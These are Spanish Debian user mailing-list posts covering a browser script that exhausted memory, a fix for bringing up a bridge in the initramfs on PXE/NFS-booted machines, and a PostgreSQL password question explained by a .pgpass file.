with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/4f3d69b1.4070...@gmail.com

Re: [RESUELTO] Re: Actividad extraña en el disco duro

[jmramirez (mas_ke_na)]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1


Altair Linux escribió:
> parece que ha sido un script web malicioso que se ha dedicado a
> ocupar toda la memoria disponible

Buenas

Ya por curiosidad cual fue el script, cual es la url tengo una
maquina virtual que quiere probar esa url.

Un saludo

- -- 
"Si los tontos volaran, el cielo se oscurecería"

No me envié correos en formatos propietarios
http://www.gnu.org/philosophy/no-word-attachments.es.html
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.10 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQEcBAEBAgAGBQJPPPtBAAoJEOWNzQnqy+fzgmMH/0O0nleDi3V3u4KdQEMTilPw
GAoNdVI17mTh6VmfrDzBOgGIa+IBLJ4dMZreBVrFMfkw4M08XSqPbhJfBmH2ig89
uRhOJQEYR4ndh/mG2hpHhpEN8bQVbye/BHCPBf1QWgBmi0zlYE9DYz2kYWGdtC2E
XhzHZB5+R3hRtWTcZyQG3C9Q0p4037dKQyA19QfrDA7D6kIfrx05MQXwdcZ3PmOm
QEE49IG3zkp7gz4ZMbYE3yFNOXiLnJ/Ml6xXKwDROTnK6Jv2tpdAw3uhEAtFuvln
QrslKVe5y56fx0Hq8bB2kL3/xNXGfjJDpS7ZbKLjIjOIL1qoft0IJwg1yRtwGYQ=
=v+Vf
-END PGP SIGNATURE-


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/blu0-smtp1123c58dfcf124e82bfbd88b1...@phx.gbl

Re: [RESUELTO] Re: Actividad extraña en el disco duro

[Darío]

> Parece que todo ha acabado, llevo ya un rato y parece normal.

Gran frase futurista después del apocalípsis!!  :-)


-- 
Darío

|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
Por favor, no utilice formatos de archivo propietarios para el intercambio
de documentos, como ser DOC, XLS, BMP, PPT, RAR, MP3, DWG,
MOV, FLV, WMV, etc.  sino  ODT, ODS, DJVU, PDF, TXT,
CSV, PNG, FLAC, OGV, GZ o cualquier otro que no obligue a utilizar
un programa de un fabricante concreto.
Info: http://www.gnu.org/philosophy/no-word-attachments.es.html
       http://www.vaslibre.org.ve/publicaciones/odfvsooxml-es.pdf
|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
http://lists.debian.org/CABbN1Ryjk9nwUwnP-+fgf5FAFvQTzgasv_B8QW_wxmszFU6M=w...@mail.gmail.com

[RESUELTO] Re: Actividad extraña en el disco duro

[Altair Linux]

Hola a todos, estoy de vuelta en el pc normal.

no tenia acceso a nada desde la consola, ponia mi usuario normal pero
no llegaba a pedirme el password, me salia timeout.

Creo que efectivamente estaba usando swap a saco. he tardado hora y
media en volver a tener el control. que se dice pronto. Cuando por fin
he recuperado el control me he puesto a mirar por todas partes a ver
que habia podido pasar.

Pues parece que ha sido un script web malicioso que se ha dedicado a
ocupar toda la memoria disponible, parece que de ahi que el pc
estuviera sobrecargado a mas no poder.

Parece que todo ha acabado, llevo ya un rato y parece normal.


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
http://lists.debian.org/CA+HdPfJ7WSFQ2GUzBGZKctE9Uxjca57RhKh3=L7QE=yyz2o...@mail.gmail.com

Re: arranque PXE con bridge RESUELTO

[Trujillo Carmona, Antonio]

El mié, 18-01-2012 a las 14:38 +0100, Trujillo Carmona, Antonio
escribió:
> Una un poco complicada:
> Tengo montado un sistema de arranque de terminales por PXE + NFS,
> funciona correctamente.
> Quiero que en esta maquinas (que son modernas y potentes) se ejecute una
> maquina virtual, para lo que necesito que tengan levantado un "bridge",
> pero si intento configurarlo en el interfaces se queda colgado.
> Esto es normal, pues como vas a desactivar la red en un sistema con el
> raiz montado por NFS.
> Pero tengo que hacerlo.
> ¿Hay alguna forma de que el núcleo o el initrd arranque levanten un
> bridge antes de tomar la IP?
> Intentare editar el initrd para añadirle algo, pero dudo de mi capacidad
> para ello sin ayuda.
Muchas gracias a los que me habéis contestado y a los que no, la cosa no
es muy difícil, pero no he encontrado documentación ni en google, por lo
que os lo cuento por si le hace falta a alguien.
Se traca de hacer un ejecutable
en 
/srv/nfs/aulas-amd64/etc/initramfs-tools/scripts/init-premount/levanta-puente.sh
(observar que se trata de dirección de la maquina que va a ser cliente)
cuyo contenido es:
#!/bin/sh
/sbin/brctl addbr br0
/sbin/brctl addif br0 eth0
/sbin/ifconfig eth0 up
/sbin/ifconfig br0 up

tiene que ser en init-premount, en nfs-premount no funciona.
y otro en
/srv/nfs/aulas-amd64/etc/initramfs-tools/hooks/levanta-puente.sh
con contenido
#!/bin/sh
cp /sbin/brctl "${DESTDIR}/sbin"
cp /sbin/ifconfig "${DESTDIR}/sbin"

El initramfs.conf lo tengo asi:

root@aulas-1:/srv/nfs/aulas-amd64/etc/initramfs-tools# cat
initramfs.conf
MODULES=most
BUSYBOX=y
KEYMAP=y
COMPRESS=gzip
BOOT=nfs
DEVICE=br0
NFSROOT=auto

Con esto hacemos un 
cd /srv/nfs/aulas-amd64
chroot /srv/nfs/aulas-amd64
mkinitramfs -o initrd-nfs-bond 3.1.0-1-amd64

Tras esto tengo que reiniciar el ordenador porque al crearse el fichero
initrd se desconfigura la red del servidor, pero me crea el
initrd-nfs-bond que puedo poner como arranque del PXE y el cliente me
arranca con interfaz por defecto br0 y ya puedo ejecutar maquinas
virtuales asignándoles ese puente.

-- 
Por favor, NO utilice formatos  de archivo  propietarios para el
intercambio de  documentos, como DOC y XLS, sino HTML, RTF, TXT,
CSV o cualquier otro que no obligue a utilizar un programa de un
fabricante  concreto para tratar la información contenida en él.
SALUD.


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
http://lists.debian.org/1327318351.4032.18.ca...@trujo.hvn.sas.junta-andalucia.es

[RESUELTO]Re: Postgresql permite el acceso sin contraseña[SOLVED]

[debian nick]

Si Juan Manuel, gracias, no sabía si era un problema de debian, mio o de
postgres, obvio el problema era mío, podía acceder sin contraseña porque
desde pgadmin había guardado la contraseña, lo que no sabía era que el
comando psql leía las contraseñas del archivo.pgpass del pgadmin.

Gracias y disculpen.

El 12 de enero de 2012 15:02, Juan Manuel Acuña Barrera
escribió:

>
>
> Inicio del mensaje reenviado:
>
> *Reenviado por: *debian-user-spanish@lists.debian.org
> *De: *debian nick 
> *Asunto: **Postgresql permite el acceso sin contraseña*
> *Fecha: *11 de enero de 2012 22:54:32 CST
> *Para: *debian-user-spanish@lists.debian.org
>
> Tengo instalado debian squeeze, actualice de lenny, mi problema es que
> cada tanto el postgresql no permite conexiones desde psql 8.3 (da timeout
> exception) y deja entrar sin contraseña (psql -d mibase -h mihost -U
> miusuario) desde psql 8.4. La primera vez que esto me sucedió, todavía
> tenía instalada la version 8.3 de lenny, asi que pensando que el problema
> era la falta de actualización, actualicé el postgresql a la 8.4.9. Y el
> problema desapareció.
> Hoy despues de un mes de aquel evento vuelvo a tener el mismo problema
> pero ahora con la versión 8.4.
> Lo único que me aparece raro en los logs, es que cuando inicio el servidor
> me tira el siguiente mensaje:
> el paquete de inicio est? incompleto
> Lo cual por lo que busqué en internet no se sabe muy bien de donde viene y
> esta relacionado con el vacuum a través del cron, no tengo ningún vacuum en
> el cron.
> Soy muy novato y ya no se que mas probar, probé cambiar el pg_hba.conf y
> el problema sigue, saqué el autovacuum del postgresql.conf y nada. Hoy
> después de reiniciar el servidor varias veces arrancó funcionando sin
> problemas durante 3 horas y volvió a pasar los mismo.
> Del postgresql.conf solo cambio en listen address de localhost  a * y el
> datestyle.
> Y en el pg_hba.conf tengo las lineas:
> hostall all 127.0.0.1/32  md5
> hostall all 0.0.0.0/0 md5
>
> Cualquier ayuda o camino es bienvenido. Si necesitan mas información, logs
> etc, los subo.
>
>
> Estimado, me parece que te pueden ayudar en la lista
> pgsql-es-ay...@postgresql.org que es la lista de postgresql en español.
>
> Saludos!
>
> Juan Manuel Acuña.
>
>
>
>
>